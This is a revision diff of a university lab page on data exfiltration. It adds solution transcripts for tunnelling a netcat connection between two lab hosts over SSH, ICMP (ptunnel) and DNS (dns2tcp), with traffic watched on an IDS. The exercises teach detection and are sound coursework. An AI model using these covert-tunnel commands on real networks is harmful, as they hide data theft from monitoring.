Show page

Differences

This shows you the differences between two versions of the page.

--- cdci:labs:6 [2020/03/17 01:10]
mihai.chiroiu [05. [10p] SSH exfiltration]
+++ cdci:labs:6 [2023/06/06 20:09] (current)
mihai.chiroiu
@@ Line 1: / Line 1: @@
+~~SHOWSOLUTION~~
 ====== Lab06. Data exfiltration  ======
+<note warning>
+Important read to be graded!
+{{page>:cdci:rec&nofooter&noeditbutton&noheader}}
+</note>
 ===== Objectives =====
@@ Line 46: / Line 53: @@
 </code>
-==== 03. [10p] Plain text exfiltration ====
+==== 03. [15p] Plain text exfiltration ====
 Netcat, also known as the 'TCP/IP Swiss Army Knife,' can be used to send data between two hosts. Create a client/server connection over port 8080. By default, the data send from the client will be printed on the server.
@@ Line 105: / Line 112: @@
 </code>
 </solution>
-==== 05. [10p] SSH exfiltration ====
+==== 05. [15p] SSH exfiltration ====
 As seen, the previous solutions send data in clear text. Create an ssh tunnel and use it to exfiltrate data via a similar client/server Netcat architecture. For this, you have to use one node as an SSH server and the second one as a client. Use the following configuration on the SSH Server
 <code>
-# the setting of "PermitRootLogin without-password".
 root@h2:/# vim /etc/ssh/sshd_config
 PasswordAuthentication yes
@@ Line 116: / Line 122: @@
 root@h2:/# service ssh restart
+root@h2:/# netstat -nltp
+Active Internet connections (only servers)
+Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
+tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      198/sshd
 </code>
@@ Line 126: / Line 136: @@
 <solution>
 <code>
+root@h2:/# nc -l -p 8080 -k
+TEST
+root@h1:/# ssh -N -L 8080:127.0.0.1:8080 root@192.168.16.3 -f
+root@192.168.16.3's password:
+bind: Cannot assign requested address
+root@h1:/# nc 127.0.0.1 8080
+TEST
 </code>
 </solution>
-==== 06. [20p] HTTP exfiltration ====
+==== 06. [20p] ICMP exfiltration ====
-To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark).
+Another protocol that can be used to exfiltrate data is ICMP. You can use the [[https://linux.die.net/man/8/ptunnel|ptunnel]] application and tunnel the Netcat client/server connection over ICMP.
+To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark). For this exercise we strongly encourage you to view the data in Wireshark.
 <solution>
 <code>
+root@h2:/# ptunnel &
+[1] 331
+root@h2:/# [inf]: Starting ptunnel v 0.72.
+[inf]: (c) 2004-2011 Daniel Stoedle, <daniels@cs.uit.no>
+[inf]: Security features by Sebastien Raveau, <sebastien.raveau@epita.fr>
+[inf]: Forwarding incoming ping packets over TCP.
+[inf]: Ping proxy is listening in privileged mode.
+root@h2:/#
+root@h2:/#
+root@h2:/# nc -l -p 8080 -k
+[inf]: Incoming tunnel request from 192.168.16.2.
+[inf]: Starting new session to 127.0.0.1:8080 with ID 18665
+TEST
+[inf]: Received session close from remote peer.
+[inf]:
+Session statistics:
+[inf]: I/O:   0.00/  0.00 mb ICMP I/O/R:       13/       1/       0 Loss:  0.0%
+[inf]:
+root@h2:/#
+root@h1:/# ptunnel -p 192.168.16.3 -lp 8080 -da 127.0.0.1 -dp 8080 &
+[2] 161
+root@h1:/# [inf]: Starting ptunnel v 0.72.
+[inf]: (c) 2004-2011 Daniel Stoedle, <daniels@cs.uit.no>
+[inf]: Security features by Sebastien Raveau, <sebastien.raveau@epita.fr>
+[inf]: Relaying packets from incoming TCP streams.
+root@h1:/# netstat -nltp
+Active Internet connections (only servers)
+Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
+tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      161/ptunnel
+root@h1:/# nc 127.0.0.1 8080
+[inf]: Incoming connection.
+[evt]: No running proxy thread - starting it.
+[inf]: Ping proxy is listening in privileged mode.
+TEST
+^C
+root@h1:/# [inf]: Connection closed or lost.
+[inf]: Session statistics:
+[inf]: I/O:   0.00/  0.00 mb ICMP I/O/R:       25/       4/       0 Loss:  0.0%
 </code>
 </solution>
-==== 07. [20p] ICMP exfiltration ====
+==== 07. [20p] DNS exfiltration ====
-To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark).
+For this exercise we are going to create a DNS tunnel between the two nodes and use it for the Netcat connection. The tool for this is [[http://www.linuxcertif.com/man/1/dns2tcpc/|dns2tcp]]. Use the following configuration for the client/server side.
+  * Client side configuration
+<code>
+# cat .dns2tcprc
+domain = dns2tcp.cdci.ro
+resource = nc
+local_port = 8080
+key = secretkey
+</code>
+  * Server side configuration
+<code>
+# cat .dns2tcpdrc
+listen = 0.0.0.0
+port = 53
+user=nobody
+chroot = /root/
+pid_file = /var/run/dns2tcp.pid
+domain = dns2tcp.cdci.ro
+key = secretkey
+resources = nc:127.0.0.1:8080
+</code>
+To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark). For this exercise we strongly encourage you to view the data in Wireshark.
 <solution>
 <code>
+root@h2:/# dns2tcpd -f .dns2tcpdrc
+root@h2:/# netstat -nlup
+Active Internet connections (only servers)
+Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
+udp        0      0 0.0.0.0:53              0.0.0.0:*                           428/dns2tcpd
+root@h2:/# nc -l -p 8080 -k
+TEST
+root@h1:/# dns2tcpc -f .dns2tcprc 192.168.16.3 &
+[2] 196
+root@h1:/# Listening on port : 8080
+root@h1:/# netstat -nltp
+Active Internet connections (only servers)
+Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
+tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      196/dns2tcpc
+root@h1:/# nc 127.0.0.1 8080
+TEST
+^C
 </code>
 </solution>
-==== 08. [20p] DNS exfiltration ====
+==== 08. [10p] Secure exfiltration ====
-To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark).
+For this exercise use an ICMP tunnel to create an ssh connection.
+To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark). For this exercise we strongly encourage you to view the data in Wireshark.
 <solution>
 <code>
-</code>
+root@h2:/# ptunnel &
-</solution>
+[1] 359
+root@h2:/# [inf]: Starting ptunnel v 0.72.
+[inf]: (c) 2004-2011 Daniel Stoedle, <daniels@cs.uit.no>
+[inf]: Security features by Sebastien Raveau, <sebastien.raveau@epita.fr>
+[inf]: Forwarding incoming ping packets over TCP.
+[inf]: Ping proxy is listening in privileged mode.
+root@h2:/# service ssh start
+ * Starting OpenBSD Secure Shell server sshd                                                                           [ OK ]
+root@h2:/# netstat -nltp
+Active Internet connections (only servers)
+Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
+tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      375/sshd
+tcp6       0      0 :::22                   :::*                    LISTEN      375/sshd
+root@h1:/# ptunnel -p 192.168.16.3 -lp 22 -da 127.0.0.1 -dp 22 &
+[2] 171
+root@h1:/# [inf]: Starting ptunnel v 0.72.
+[inf]: (c) 2004-2011 Daniel Stoedle, <daniels@cs.uit.no>
+[inf]: Security features by Sebastien Raveau, <sebastien.raveau@epita.fr>
+[inf]: Relaying packets from incoming TCP streams.
+root@h1:/# netstat -nltp
+Active Internet connections (only servers)
+Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
+tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      171/ptunnel
+root@h1:/# ssh root@127.0.0.1
+[inf]: Incoming connection.
+[evt]: No running proxy thread - starting it.
+[inf]: Ping proxy is listening in privileged mode.
+The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
+ECDSA key fingerprint is SHA256:qjFg8BPsF6kL0bYEjKrAGvLyc4C321orZpOO55jmD+8.
+Are you sure you want to continue connecting (yes/no)? yes
+Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
+root@127.0.0.1's password:
+Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1057-aws x86_64)
+[...]
+Last login: Mon Mar 16 23:11:06 2020 from 192.168.16.2
+root@h2:~#
+</code>
+</solution>

General info CDCI

Lectures

Labs

Assignments

Resources

Useful resources

cdci/labs/6.txt · Last modified: 2023/06/06 20:09 by mihai.chiroiu

Show page Old revisions

Media Manager Back to top